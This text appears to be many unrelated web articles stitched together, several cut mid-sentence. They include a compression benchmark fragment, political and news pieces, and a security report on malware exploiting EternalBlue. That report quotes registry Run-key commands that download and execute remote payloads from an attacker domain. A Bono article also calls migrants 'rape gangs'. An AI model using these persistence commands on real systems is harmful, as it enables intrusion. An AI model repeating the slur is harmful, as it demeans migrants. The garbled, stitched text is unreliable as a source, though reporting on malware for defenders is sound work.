1881 1926 -3 -t3 -b333333334 -m741 166,567,322 2025 2158 -3 -t2 -b500000000 -m494 166,324,415 2172 2236 3599 -3 -t1 -b1000000000 -m247 165,887,518 3708 3846 5989
Option -m2 selects the better BWT mode (bwt2), which drops the RLE step and uses an order 0-1 ISSE chain. The order-1 ISSE adjusts the order-0 ICM prediction by mixing it in the logistic domain with a constant, such that the pair of weights is selected by an 8-bit bit history, which is selected by an order 1 context of the BWT output. After coding, the mixing weights are adjusted to reduce the prediction |
helpful language of hate and military hardware, it needs to find a kinder, gentler, funnier way of winning them over – using comedians like Amy Schumer, Chris Rock, and Sacha Baron Cohen.
Bono was delivering his wisdom to the Senate appropriations subcommittee on Capitol Hill.
He said:
“It’s like, you speak violence, you speak their language. But you laugh at them when they are goose-stepping down the street and it takes away their power. So I am suggesting that the Senate send in Amy Schumer and Chris Rock and Sacha Baron Cohen, thank you.”
Amy Schumer and Sacha Baron Cohen are both Jewish – a faith to which ISIS (and Al Qaeda and Boko Haram et al) have not hitherto shown themselves to be particularly sympathetic. On the contrary last year ISIS announced that they were planning a Second Holocaust in which all the world’s Jews would be extinguished. Perhaps Bono is under the impression that Amy Schumer’s wit would grant her an exemption – though up and until now there has been little evidence that ISIS has much of a sense of humour.
Nor do Islamic terror groups respond terribly well to homosexuals like Bruno, the camp Austrian played by Baron Cohen; or even to people who look like they might be homosexuals, such as Borat, when he is wearing his mankini. Their preferred method of dealing with them – in accordance with their scriptures – is to throw them off high buildings or bury them beneath a wall.
So while Bono may think this is a joking matter – or at least one about which we can all be good-natured and touchy-feely – it bears so little accordance with the reality of life on the ground in places controlled by Islamic State (and similar groups) that you wonder whether he ever bothers to read a newspaper or even look out of his window when he goes on his global fact finding tours.
Bono also took the opportunity to give Congress his tuppenny ha’penny’s worth on European politics.
He noted that countries like Poland and Hungary were moving towards the right – what he called “hyper nationalism”
And that Britain was considering leaving the EU.
“This is unthinkable stuff. And you should be very nervous in America about it,” he said, arguing that Europe and the Middle East needed a “new Marshall Plan”.
Before delivering his bizarre testimony, Bono posed for photos with three members of Code Pink – “a women-led grassroots organization working to end U.S. wars and militarism” – who wore pink tiaras and held cardboard torches and signs reading “Refugees Welcome.”
Bono – approximate net worth $700 million – owns at least three houses: one in New York, one in the exclusive retreat of Killiney, Ireland, and a villa in the South of France. In his speech to Congress he made no mention of whether or not he would be throwing open these properties to any of the rape gangs desperate and vulnerable migrants currently enriching Europe (and, increasingly, the US). But if he doesn’t want to give a couple of hundred of them a home, it’s certainly not for want of space.
LISTEN:Hybrid Extraction and Infuser Kit- Large
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This Extraction – Infusion Kit Includes:Campaign teams for D’Artagnan Collier exceed signature goal in Detroit mayoral race
By an SEP campaign team
6 May 2013
The campaign to put D’Artagnan Collier on the Detroit mayoral ballot continued this weekend as campaigners in various locations in the city, including Eastern Market and downtown, collected more than the goal of 1,000 signatures. This is twice the required 500 signatures to be placed on the ballot.
Collier and the campaign teams stressed that Detroit was a model for attacks on the working class across the country and internationally. The appointment of Emergency Manager Kevyn Orr to run the city is part of moves by the ruling class to impose the dictates of the banks and giant corporations, resorting to increasingly antidemocratic methods.
Workers in Detroit and the surrounding areas expressed alarm at the takeover of the city. Many who lived outside the city noted that the same measures could be taken elsewhere.
Collier speaks with a worker at Eastern Market
The campaign received strong support for its opposition to the City Council and the mayor, representing a corrupt political establishment that has overseen the decay of Detroit for more than three decades.
“The problems we are having go back to Coleman Young,” said Barbara. “They go all the way back. I speak my mind, and I say that this city has been run by blacks all these years, and all they are doing is lining their pockets. They are building $100,000 condominiums down here, and who can afford to live in them?”
Collier listening to Barbara’s question
She then asked Collier, “How do we go about replacing this government?” Collier explained that as the wealth of society is generated by the working class, it must be the working class that controls how the wealth is used. He also spoke on the basic social rights of the working class—the right to a job, education, health care and a pension—which can be realized only through a transformation of economic and social life.
“I agree,” responded Barbara. “We cannot depend on anybody in government, neither Republican nor Democrat. The government has always been run for people who already have money.”
A Detroit highway worker spoke to Collier about the conditions at Detroit Public Works. “They used to have thirty people working there, and now there are just twelve. Only in the past few months have they hired six new people. And they have a new tier for the new-hires. Their health care is just for the employee, not the entire family. They also have to pay 25 percent of the insurance cost, rather than just the copay.
“It’s upsetting because I’m worried about what they’ll do to myself and the older workers at DPW. I joined public service because of the stability of the job. I did landscaping, but that is so competitive for no gain against the big companies. In public service, you used to get a good, steady job with benefits and a good pension. Now that’s all being taken away. We get less and less. I would like to see equal work for equal pay at DPW and a renewed pay scale.”
Collier campaigning at Eastern Market
Michelle works in the emergency room of Detroit Receiving Hospital, part of the Detroit Medical Center (DMC). She spoke about the cuts to health care in the city and nationally. “[Former DMC CEO and current mayoral candidate Mike] Duggan threw us under a bus,” she said. “He told us when he came in that workers wouldn’t be laid off for at least ten years. Right now they are laying off 300 to 800 people, including all the clerks. It’s happening a little at a time, but it will happen for everyone who will be hit July 1, at the end of the fiscal year.
“Duggan took all that money he’s saving from laying people off and is giving it to the rich. They are also reducing our vacation time and violating the eight-hour workday. He talks about saving the DMC but never mentions the layoffs. And this isn’t just the new-hires. I know people that have worked 18 or 30 years who are getting laid off.
“They also gave us a new benefit package. We used to be able to go to the emergency room for $55. Now its $125.” In fact, until recently, Detroit city workers could go the emergency room for free.
“The rich are trying to bring the rest of us—white and black—back to slavery.”Has Indian polity evolved enough to deliver on the aspirations of a globally integrated economy? Is our policymaking process pragmatic and innovative? Going by the Goods and Services Tax, the answer would, regrettably, be a straight no.
If the GST is an illustration of India's new cooperative federalism, it is indeed a very disappointing debut. The structure of GST confirms that Indian polity could be anything but radical. The extreme conservatism of Indian politicians coupled with the reluctance to take risks and archaic ideas of taxation have turned GST into a non-reform.
The GST had been designed with the idea to unleash ease of doing business with a low incidence of indirect taxation and a minimum number of tax slabs. The idea of having lower taxation and better compliance was destined to generate higher revenues, yet timid state governments took advantage of the desperate and reform-challenged Centre to transform GST into an insipid and complicated project to protect their revenues.
What is more worrying is the fact that Indian polity eventually failed to deliver a radical reform despite having a highly popular PM leading a stable government with BJP’s rule in several states.
Conservative federalism
GST was not conceived as a revenue enhancement measure at the outset. The idea of merging several taxes (Centre and state) into one, introduction of input tax credit (the refund of tax included in cost) and creation of a common national market had been mooted with the premise that central and state governments will adjust their fiscal set-up to make space for a genuine low indirect tax regime to reap the benefit of Laffer's Curve (lower tax-high consumption-high revenues) in due course of time.
However, the premise of GST was entirely altered when it came to the political palate. State governments forced Centre to provide them with an insurance cover (compensation package) against any possible revenue losses on account of GST. The government then went ahead with imposing higher tax rates and a series of cess to finance the compensation the state governments demanded for five years after the implementation of GST.
The bias towards protecting revenues compelled the GST Council to work out dealmakers, which were contrary to the hopes of having a low and simple taxation under the GST regime.
Dicey dealmakers
- States forced the GST Council to place 60 per cent of products under the revenue neutral rate of 18 per cent to ensure that the revenue they receive remained unchanged despite changes in tax structure.
- States also compelled the GST Council to set 14 per cent revenue growth as uniform and secular growth rate for all states while computing compensation. This means that states' own revenues, subsumed into the GST, would grow by at least 14 per cent (double the growth rate of the GDP!) for the first five years after the transition to GST.
- The revenue obsession also guided the status of energy under GST. States and the Centre connived to keep petro products and electricity under the ambit of GST in order to protect their revenues. Energy is an essential cost to economic activity. However, industry and trade won't be allowed to claim refund on tax paid on energy used as input in their business.
- Last but not the least, thanks to the fear of losing revenue, taxes on land and real estate have also been excluded from GST. Needless to say that land is a fundamental economic resource for any productive occupation.
Enter complications
- States' unprecedented bias towards revenues set the ball rolling for higher taxation for most products. Subsequent to the formula of placing 60 per cent products under the bracket of 18 per cent, the Centre also slapped 28 per cent tax on aspirational consumption along with a cess over it.
- Placing services under four-rate slabs is also a result of the same revenue obsession.
- The GST Council has almost removed the revenue risk from GST by keeping 80 per cent products and services under 18 per cent and 28 per cent tax brackets, coupled with a generous compensation package in the backend.
- However, the formula of putting 80 per cent of products and services under higher tax slabs was inflationary and politically risky; therefore, the slabs of 5-12 per cent were introduced for a handful of mass consumables to reduce the risk of inflation.
All this has resulted in three-layered (CGST-SGST-IGST) and multiple (eight rates) GSTs against the promise of one nation, one tax. With an introduction to the notorious and abhorred multi-tiered slabs structure, GST's worst fears are coming true. India is a rapidly changing economy where innovation in products and services is an obvious practice. This structure will create numerous classification issues for them.
What we have got is a three-layered (CGST-SGST-IGST) and multiple (eight rates) GSTs against the promise of one nation, one tax. Photo: Reuters
Small taxpayers are bound to suffer the most under GST, which is coming up with the complexities of multiple classifications. The cost of compliance with the new tax rules will be higher than before. No wonder, if a good number of small and medium assesses fail to avail input tax credit because of the difficulties involved in the new system. Further, this structure is more likely to increase discretionary opportunities for revenue bureaucracy and less likely to encourage compliance.
Show some courage
Is there any hope left for improving the GST further? Yes, if only the GST Council could take the following decisions before the implementation of GST.
- Bring electricity and petro products under GST by 2020 with full tax credit.
- States have to align their land registration charges with one another to bring land and real estate under GST by 2022.
- Roadmap for two-rate GST by 2022.
These goals must be achieved before 2022, i.e. the expiry of the five-year compensation plan for states.
The enthusiasm around GST hinged upon the premise that this reform can boost GDP growth by 2 per cent. The GDP booster was supposed to come from consumption, demand, investment and business, unlike the current structure which is feeding the outdated whims of leaders and bureaucracy.
The postscript dissent of TMC and AAP is just theatrics. The fact of the matter is that the politicians of states and the Centre have not taken any radical step and have just enforced a non-reform, which may well turn into an anti-reform if implemented shabbily.
Also read: Why GST may not provide any relief13 wounded in Tuesday shootings across Chicago
Four people wounded in one incident were among 13 people shot Tuesday across Chicago.
The mass shooting happened about 8:25 p.m. in the Humboldt Park neighborhood on the West Side. The four people were on the porch of a home in the 800 block of North Monticello when someone came up to them and opened fire, Chicago Police said.
A 17-year-old boy suffered a gunshot wound to the left side and a 66-year-old man was shot in the upper right side, police said. They were both taken to Mount Sinai Hospital.
A 28-year-old man was shot in the abdomen, while a 31-year-old man was also shot in the left side, police said. They were taken to Stroger Hospital. All four victims’ conditions were stabilized.
The day’s latest shooting left a 15-year-old boy wounded in the East Chatham neighborhood on the South Side. About 9:15 p.m., he was walking west on 82nd Street at Ellis Avenue when several males walked up to him, one of whom pulled out a gun and fired shots, police said. The boy was shot in the left arm and suffered a graze wound to his abdomen. He was taken to a Christ Medical Center in Oak Lawn in good condition.
A 31-year-old woman was shot about 7 p.m. in the Logan Square neighborhood on the Northwest Side. She was driving a vehicle in the 2100 block of North Central Park Avenue when someone on foot fired shots and she was struck in the left thigh, police said. She was taken to Illinois Masonic Medical Center, where her condition was stabilized. She was not believed to be the intended target of the shooting.
About 6:25 p.m., a 21-year-old man heard gunshots and realized he was shot in the thumb in the 7000 block of South Paulina in the West Englewood neighborhood on the South Side, police said. He was taken in good condition to Holy Cross Hospital.
Two people were wounded in a South Shore neighborhood shooting about 3:50 p.m. on the South Side. Someone got out of a dark-colored vehicle in the 6800 block of South Stoney Island and fired shots, police said. A 26-year-old man was taken to Stroger Hospital with a gunshot wound to the buttocks. A 28-year-old woman was shot in the groin and taken to Northwestern Memorial Hospital. Both were listed in good condition.
About 12:50 p.m., a 16-year-old boy was shot in the chest in the 7800 block of South Dobson near a Greater Grand Crossing neighborhood high school on the South Side. He was taken in critical condition to Christ Medical Center. The shooting happened near Hirsch High School, 7740 S. Ingleside Ave. The circumstances of the shooting weren’t immediately available.
Ten hours earlier, two men were shot in another South Shore attack. The men, ages 20 and 31, were walking at 2:48 a.m. in the 7500 block of South South Shore when another male pulled out a gun and fired shots at them, striking the younger man in the back and the older man in the leg, police said. Both men were taken to Northwestern Memorial Hospital, where the younger man was listed in critical condition and the older man’s condition was stabilized.
The day’s first shooting happened about 12:15 a.m. in the West Garfield Park neighborhood on the West Side. A 33-year-old man was driving east in the 4400 block of West Jackson when he heard gunfire and realized he’d been shot in the groin, police said. The origin of the shots was not known. The man was taken to Stroger Hospital, where his condition was stabilized.
More than 2,180 people have been shot so far in 2017, 378 fatally, according to data maintained by the Chicago Sun-Times.
On Monday, two men were killed and at least nine other people were wounded in shootings Monday across the city.Military officials are investigating after mobile phone footage emerged allegedly showing two officers from the Queen’s elite personal guard snorting a powdery substance thought to be cocaine off a ceremonial sword in St. James’s Palace.
The incident, which involved a major and a captain from the Coldstream Guards, reportedly took place at the royal residence where the pair were among the most senior officers guarding the Queen.
The men have been identified by the Mirror as Major James Coleby, a decorated Afghanistan and Iraq veteran who once escorted French president Francois Hollande on a troop inspection, and Captain Alex Ritchie.
The Coldstream Guards are one of the oldest and poshest regiments in the British Army and, while on Queen’s Guard, they are charged with the defense of the Monarch. Their battle honors include Waterloo, Sevastopol, and the Somme.
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The 30 second video shows Ritchie racking up a line of a powdery substance on a ceremonial sword before asking Colesby, who is swaying nearby: “How much? Two inches? You want two inches of that? If you get rid of that I’ll be mightily impressed.”
The smiling Colesby then places a finger over one nostril, hunches down and snorts the substance.
A well-spoken young woman who briefly appears in the video is heard baying from the sidelines: “No, don’t do it, for the love of God!”
The incident apparently took place at an officer’s mess event around one week ago.
Boozy mess parties have become a sore point in recent months, after ten fire engines were summoned to extinguish a blaze at a military accommodation block in July after two newly-graduated cavalry officers accidentally set it ablaze while firing flares at each other from hijacked kayaks in an outdoor pool.
The fire occurred at Allenby Barracks in Bovington following a boozy graduation ceremony for trainee tank commanders, who reportedly got into kayaks in the camp’s outdoor pool and set about dueling with rescue flare guns.
One flare appeared to have penetrated a seven-story accommodation block, setting it alight and causing severe damage, but no injuries.
One army source told Forces TV that whoever started the fire “is a legend and deserves some kind of reward.”
Commenting on the alleged drug taking at St. James’s Palace, the Ministry of Defence (MoD) said: “The Army expects all personnel to stick to its high standards and any found to fall short are disciplined robustly.”
“An investigation is underway,” they added.Facebook’s $1 billion acquisition of Instagram secured the social networking giant ownership of the largest and fastest growing mobile photography network on the planet. Instagram has 50 million users, and Facebook is already the top site for image hosting on the internet.
There were rumors that other companies, like Google, were also in talks to buy Instagram before Facebook could sink its teeth in. The New York Times even said that Twitter was trying to court Instagram at one point. According to a new report, Twitter ended up approaching another hugely popular iPhone photography app after Facebook swooped in and stole Instagram.
Bloomberg is saying that Twitter CEO Jack Dorsey met with tap tap tap, makers of Camera+, to negotiate a deal. Camera+ is a very successful $1 app for the iPhone that works in many ways like Instagram, allowing users to edit pics, apply filters, and share them on other social networks. The two apps differ in that Instagram also boasts its own sharing network where users view, like and comment on pictures. Camera+ is a photography toolkit and camera app for the iPhone with sharing options for the likes of Facebook and Twitter.
Camera+ debuted 4 months before Instagram in the App Store, and it’s been downloaded 7.5 million times since. Instagram has 50 million users and launched two years ago on the iPhone and on Android several weeks ago.
Bloomberg reports:
Twitter executives held several meetings with Camera+ developer Tap Tap Tap, said the people, who asked not to be identified because the talks were private. The talks broke down before Twitter could make an offer because the startup’s far-flung workforce was reluctant to relocate to San Francisco, they said. While 10 employees are already based there, Tap Tap Tap has 20 others in Austria, New Zealand, Spain and elsewhere.
Jack Dorsey was an investor in Instagram initially, but he hasn’t shared a photo on the network since the Facebook acquisition was announced on April 9th. Instead, he’s used Camera+ to share from his iPhone. In an interview last week Dorsey said that Instagram photos are more commonly shared on Twitter than on Facebook.With advances in alternative forms of fuel sources for automobiles such as electric vehicles getting set to roll into more Americans’ homes, the Environmental Protection Agency (EPA) and the U.S. Department of Transportation (USDOT) have decided it is time to overhaul the fuel economy labels consumers see on the window of every new vehicle in dealer showrooms. The two agencies are seeking public input on a number of possible label designs and related issues, which would be addressed in time for new vehicles beginning with 2012 models
The goal of the new labeling system, according to the EPA, is to provide consumers with “simple, straightforward energy and environmental comparisons across all types of vehicles, including electric vehicles (EV), plug-in hybrid electric vehicles (PHEV), and conventional gasoline-powered vehicles.” These new labels will provide as well “enhanced information on efficiency and environmental performance – including information about air pollutants, such as smog, that impact public health.”
Two new label designs are being considered, with one making use of a letter grade to communicate the vehicle’s overall fuel economy and greenhouse gas emissions performance. It would also provide consumers with an estimate of the expected fuel cost savings over five years compared to an average gasoline-powered vehicle of the same model year. The other label design “retains the current label’s focus on miles per gallon (MPG) and annual fuel costs, while updating the overall design and adding the required new comparison information on fuel economy and emissions.”
Both labels would also provide “new information on fuel consumption, tailpipe carbon dioxide (CO2) emissions and smog-related emissions. The new labels would provide information on a new web-based interactive tool that can also be accessed by smart phone. This tool would allow consumers to personalize the information about a vehicle’s performance.”
For electric vehicles and plug-in hybrids, additional information would show energy use by translating electricity consumption into miles per gallon equivalent. The proposed label designs for EVs also include energy use expressed in terms of kilowatt-hours per 100 miles. “New technologies such as battery electric vehicles and plug-in hybrids are entering the American market in greater numbers,” said U.S. Transportation Secretary Ray LaHood in a statement. “We need to provide consumers with labels that include fuel economy and environmental information so that buyers can make better informed decisions when purchasing new vehicles.”
Like what you are reading? Follow us on RSS, Twitter and Facebook to get green technology news updates throughout the day and chat with other green tech lovers.She’s crazy greedy.
An Ivy League-educated lawyer tried to claim she is too mentally ill to hold a job — to get her estranged husband to pay for her lavish lifestyle after their divorce, according to Manhattan court papers.
But while Leona Barsky, 56, has been supposedly so whacked out, she has blown $1.5 million of her lawyer husband’s dough on plastic surgery, extravagant vacations, jewelry, clothing and legal bills, documents show.
Barsky — who arbitrated high-profile disputes between the city Department of Education and the teachers union in 2010 — also even volunteered to talk to law students at her alma mater, the University of Pennsylvania.
A Manhattan judge didn’t buy her crazy story — and has now awarded her a relatively measly $12,000 a month in alimony after she asked for more than five times that amount.
Justice Ellen Gesmer snipped in her searing, 29-page decision that Barsky could “achieve anything [if] she puts her mind to it.”
Gesmer was miffed by Barsky’s attempt to duck a court hearing by submitting a doctor’s note claiming she was on the verge of a heart attack — when she showed up at a Knicks game that night.
The fed-up judge calculated that the Penn and Cornell University grad — who once worked for Revlon — could earn more than $300,000 a year since she’s only been out of the workforce since 2012.
Barsky’s soon-to-be-ex-husband, Stephen Radin, rakes in more than $2 million as a partner at the international corporate law firm Weil, Gotshal & Manges.
The couple was married for almost 25 years and has two grown children.
When Radin, 55, filed for divorce against his wife in 2012, she claimed that “her mental condition prevent[ed] her from maintaining employment.”
Barsky said her psychiatrist would testify that she was “very fragile” and “seriously traumatized.”
But the judge never let the shrink take the stand to answer questions about the unnamed mental illness because the same doc had already claimed in a previous custody dispute that her patient was “a strong person” who “has never evidenced any symptoms of mental illness.”
The judge also knocked Barsky for “lying on her net-worth statement by inflating expenses by large amounts in 22 separate categories.”
Barsky still made out well in the divorce.
On top of the alimony, she’ll receive 35 percent of the family’s $12 million in assets, including a 2011 Lexus, a $3 million Upper West Side apartment and $140,000 worth of silverware, jewelry and art.
She declined to comment.
Her husband also declined to comment through his lawyer, Robert Cohen.A lily white yoga studio in idyllic Santa Barbara, California recently held a "Ghetto Fabulous" yoga class. In preparation, students were instructed to wear cornrows, snapback caps and heavy lipliner along with their lululemon leggings. Who knew gang signs could be so cute?! The invite promised to provide "various costumes" — there was a do-rag giveaway, attendees said — and "guaranteed belly laughs."
Power of Your Om Yoga Studio caters to the tony area's elite: a flashing announcement above the website's class listings announces that they "sell lululemon mats and mat carriers, Manduka mats, blocks and straps, Yogitoes towels, China Gel, Tanya-B Clothing and Power Yoga DVDs." Last week, the studio decided to mix it up and invite patrons to "come dressed in your favorite ghetto fabulous outfit, snap-back caps, corn rows, heavy lip liner or whatever you can dream up." For inspiration, they literally linked to a "How to Be Ghetto Fabulous" article from WikiHow, because no one at Power of Your Om Yoga Studio has ever met a black person in real life.
Outrage is brewing on the studio's Facebook page. One commenter repasted the original copy, which was even more tone-deaf, if you can believe it: "'Each month we will be featuring a new funky class...this month let's get ghetto fabulous! You sport the white tank, roll up one leg of your tight black pants, and we'll make sure to have a rockin' playlist bring the bling, lip liner and bandanas....seriously. This class has no extra charge. Just a chance to do something a little whacky.'"
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There are public photos all over Facebook of girls in yoga gear excitedly primping with their grills and flashing gang signs. Whacky!
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" You should cancel this class and issue a public apology," one commenter wrote. "Or use the class time to have a discussion about racism. Changing the name is, pardon the pun, a form of white-washing. You guys should be ashamed of yourselves."
Another expanded: "The main reason this problem is even arising is because we have white people teaching an art form that originated in the Middle East/India. Like Miley Cyrus twerking, and minstrelsy (yes, you better believe it) they think that doing something 'ghetto fabulous' which is mocking and horribly racist, is supposed to be fun. The white mentality hasn't changed that much, it's just more subtle and acceptable. I'll be sure to tell my friends in that area to steer clear of this place for sure."
Here's owner Adrienne Hengels' response:
Thank you all for the eye-opening discussion and I do apologize for offending anyone - those of you that commented, emailed, and anyone else for that matter. The class happened and we are doing other themed classes in the future that may include various types of music/genres and we have made note to focus on the music versus singling out any group of human beings that has the potential to offend others as that was not the intention. I can see how it could be offensive and we do apologize for offending you or anyone.
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It didn't go over well. "Wont be going to this studio. Looking for a good class. Any recommendations for non racist ones?" someone asked.Privacy in Windows 10 has been a controversial subject ever since the advent of the operating system. The telemetry data that Microsoft collects from the OS has been viewed as the company "spying" on its customers by many regulators. In fact, France's data protection commissioner criticized Microsoft for collecting excessive information last year, and only recently withdrew its complaint after the company made changes to its data collection practices.
Microsoft has been playing its part to mitigate the spread of such perceptions. Earlier this year, the company launched a privacy dashboard, giving users "more control" over their data in Windows 10. With the growing threat of ransomware attacks and data theft, the firm will now be repeatedly reminding users to review these privacy settings.
Starting this week, Microsoft will be notifying users to who have not updated to the Windows 10 Creators Update to check their privacy settings, in a move that may well stir memories of the "Get Windows 10" app. This subset of users will be able to defer the process up to five times, with the final prompt asking them to confirm the settings. The company claims that this review process will take only a "few moments" so it is advisable that users pay heed to the notifications. The notification window will appear as follows:
Microsoft has clarified that you will not be forcibly updated to the Creators Update once you confirm the privacy settings, even if your machine is ready for the update.
In addition, the company has also stated that it will be notifying users to upgrade to the latest feature update - which is the Creators Update, for now - if they're running a version of the operating system that is reaching end-of-service. As it currently stands, users on the original version of Windows 10 (version 1507) Home / Pro / Education / Enterprise will be notified to upgrade to the latest feature update, so that their device is secure. However, Microsoft has not clarified how frequently this notification will occur.
The move is certainly understandable considering the recent rise in ransomware attacks, but it'll be interesting to see how the public responds, keeping in view the "Get Windows 10" fiasco.
Source: MicrosoftAt least 3 different groups have been leveraging the NSA EternalBlue exploit weeks before the WannaCry attacks, here’s the evidence.
In the last days, security experts discovered numerous attacks that have been leveraging the same EternalBlue exploit used by the notorious WannaCry ransomware.
The Shadow Brokers hacker group revealed the exploit for the SMB vulnerability in April, but according to malware researchers, other threats used it such as the Adylkuzz botnet that is active since April 24.
Security experts at Cyphort found evidence on a honeypot server that threat actors in the wild were already exploiting the SMB flaw in early May to deliver a stealth Remote Access Trojan (RAT) instead of ransomware.
The RAT didn’t show worm network worm capabilities like the WannaCry ransomware.
The malware is delivered from an IP (182.18.23.38) located in China.
“Once the exploitation is successful, the attacker will send an encrypted payload as a shellcode. The shellcode is encrypted via XOR with the key, “A9 CA 63 BA”. The shellcode has an embedded binary in it as shown below:” reads the analysis published by Cyphort. “The embedded DLL is basically a trojan which downloads additional malware and receives commands from its controller.”
Once infected a system, the malicious code closes the port 445 to prevent other malware from abusing the same SMB flaw.
This aspect suggests the attacker was aware of the EternalBlue vulnerability.
“This is yet another indication that the malware is probably aware of the Eternal Blue vulnerability and is closing it.” continues the analysis. “The threat actors probably did not want other threats mingling with their activity. We believe that the group behind this attack is the same group that spreads Mirai via Windows Kaspersky discovered in February. We found similarities in terms of their IOCs.”
The RAT sets the following Registry Run entries to download and execute additional malware.
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “start” /d “regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “start1” /d “msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q” /f
The malicious code attempts to delete a number of users and terminate and/or delete various files or processes. The experts also noticed that it is connected to a remote access tool hosted on a Chinese website, ForShare 8.28.
The malware can be instructed by the C&C server to execute various commands, including the screen monitoring, capturing audio and video, monitoring keystrokes, transfer data, deleting files, terminating processes, downloading and executing files and many other operations.
The report published by Cyphort included the Indicators of Compromise for this specific threat.
The facts that multiple groups have been exploiting ETERNALBLUE weeks before WannaCry is also demonstrated by an analysis published by Secdo.
Secdo claims to have found evidence of ransomware abusing EternalBlue flaw weeks before WannaCry emerged.
“Secdo has uncovered a new evasive attack that leaves no trace and has been infecting organizations using NSA exploits since the mid-April.” reads the analysis published by Secdo. “The ransomware is the most apparent payload, yet under the surface a more sophisticated attack occurred that would have gone unnoticed.”
The researchers also reported that threat actors in the wild were using an EternalBlue-based worm to infect all machines in a compromised network and exfiltrate login credentials.
Recently experts at Heimdal discovered the UIWIX ransomware, a fileless malware exploiting the EternalBlue vulnerability.
Like the WannaCry, UIWIX exploits the same vulnerability in Windows SMB protocol, but the new threat has the ability to run in the memory of the infected system after the exploiting of the EternalBlue.
In late April, The experts at Secdo also discovered another attack exploiting the EthernalBlue vulnerability, it was associated with a Chinese threat actor that used a botnet to distribute a backdoor.
“It begins by spawning a thread inside of lsass.exe, similar to the credential theft attack, only instead of remaining purely in-memory, the initial payload connects back to a Chinese C2 server on port 998 (2.x.x.x) and downloads a known root-kit backdoor (based on Agony).” reads the analysis published by Secdo.
“The file is dropped in %programdata% under the name 666.exe. Existing NG-AV vendors that were present were able to block 666.exe from running, but remained oblivious to the malicious thread running inside of lsass.exe.”
Summarizing, at least 3 different groups have been leveraging the NSA exploit weeks before the WannaCry, this means a significant portion of the security community failed to monitor the threat or that failed to share the information about the attacks they have observed.
The success of EternalBlue attacks are the failure of our current model of cyber |
to the co-promotion and the promoters. You can argue all day if [an agreement over fines] should be with the Usada contract or the main contract.
“What do you have to lose or gain in that argument? It’s a simple thing – if you fail, you pay the other guy $5m. The issue is simple: are you willing to agree to a penalty of $5m? The drug-testing terms and any penalty, that’s between the fighters not the promoters.
“We have no recourse. We can’t force Floyd into something. But we gave them an opportunity to put their money where their mouth is and they wouldn’t. I won’t speculate why. To me there is no legitimate argument. We know we’re clean. That’s why Manny said he would pay $5m if he tested dirty. Manny was surprised. He can’t figure out why they wouldn’t agree to it when Floyd is always talking about cleaning up the sport of boxing.”Virgin Group founder Richard Branson approaches the winner’s circle after team driver Sam Bird won the New York City ePrix a Formula E all-electric auto race Saturday, July 15, 2017, in the Brooklyn borough of New York. (AP Photo/Michael Noble Jr.)
President Donald Trump has pledged his support to revitalize the coal mining industry and create more jobs through deregulation.
Billionaire serial entrepreneur Sir Richard Branson, the founder of the Virgin Group, argues that the U.S. government should take a different approach.
“Coal mining is not the nicest of jobs, and coal mining disappeared in Britain many decades ago, and pretty much every single one of those coal miners went into jobs which were far more pleasant, far less dangerous, far better for their health, and I doubt that there’s one coal miner that looks back thinking, ‘God, I wish I was down in a coal mine,’” Branson said in response to a question from Yahoo Finance.
Instead, Branson believes that creating hundreds of thousands of jobs in clean forms of energy such as wind and solar would be “good for the coal miners, good for America, and it would be good for the world.”
During an earlier panel discussion at the DS Virgin Racing Innovation Summit on Friday to promote the inaugural Formula E ePrix held in Brooklyn this weekend, Branson argued that the Trump administration’s approach to energy is the wrong one.
“Obviously, what’s happened in America, having an administration that put out the most bizarre statement on [the Paris climate agreement] is not good news because you do need governments to set the rules,” Branson said. ”And, you do need to make it clear that clean energy should have a leg up over dirty energy. And you have a government that’s not setting proper differentials, that’s going to be tricky.”
As a result, American cities and companies will have to come forward and step into the breach where the government is lacking, he added.
Fellow panelist Andrew Liveris, the CEO of Dow Chemical (DOW) and head of Trump’s Manufacturing Jobs Initiative, does believe that the U.S. will find its way back to the Paris climate agreement.
“I’m not saying that out of deep knowledge,” he said.
Andrew Liveris, CEO and chairman of The Dow Chemical Company More
During the panel discussion, Liveris noted that people had been left behind from a “massive policy failure” in governments in three key areas.
“Globalization, digitalization, and protecting the planet, sustainability, are three massive causes where we’ve left people behind. We’ve left them behind.”
Part of the problem is that equity market investors focus on short-term results instead of supporting companies addressing these issues.
“We’re in a 90-day march to make profits in the public markets,” Liveris said. “If I talk about something that has a solution two or three years from now, no investor will be interested. The investment community in this area is minor without a voice. The investment community in the area of not investing for the future is loud, and they’re demanding profits. And we’re doing it to ourselves.”
Liveris added that those workers who’ve been left behind, like a coal miner in West Virginia, need a place in the new economy. They also need to be brought into the conversation.
“They’re not even being talked to, let alone being educated.”
Speaking of education, he added that only small pool of graduates have degrees in science, technology, engineering, and math (STEM).
“We can’t find people to actually help us solve those problems,” Liveris said. “And when we shut out immigration, it’s even worse. So we are in deficit of the skills and training needed to help everybody solve this problem.”
Liveris believes that there needs to be a public-private partnership model that helps bring people along while addressing climate change.
For Branson, solving climate change is “one of the great opportunities for the world.”
He envisions a future where animals no longer have to be slaughtered for meat, which contributes significantly to pollution. He also sees a future where planes and cars are powered by batteries and homes run on clean fuels. These sorts of innovations would also be much more economical.
Story continuesIt’s a beautiful sunny day as Jack Torrance drives down the road to the Overlook Hotel in Sidewinder, Colorado. Hugging the curves along the path through the mountains, Jack appears at peace, comfortable and hopeful, a harsh contrast to the dreadful brassy tones that fuel the scene with fear; a sense of inevitable doom from composer Hector Berlioz with his epic Symphonie Fantastique. A piece of music originally meant to illustrate a man’s self-destructive love for the woman he adores, the orchestra thrashes out a warning, for Jack, too, will soon face the repercussions of falling prey to the Overlook’s charms. Inside, Manager Stuart Ullman awaits Jack for an interview, cramped in a small pink room; signaling a new beginning for Jack, as he temporarily takes over as caretaker for the hotel for the next five months. To him, this feels like the opportunity of a lifetime, especially after he lost his job and nearly his family as well after a drunken incident involving his latest writing project, and his son Danny’s broken arm. But all of that is behind him now, because he finally has the solitude he’s been craving to get back into the writing grind. Little does he know, this hotel has been waiting for him for years, like a forgotten lover, and now that she has him in her grasp, she’s never letting go.
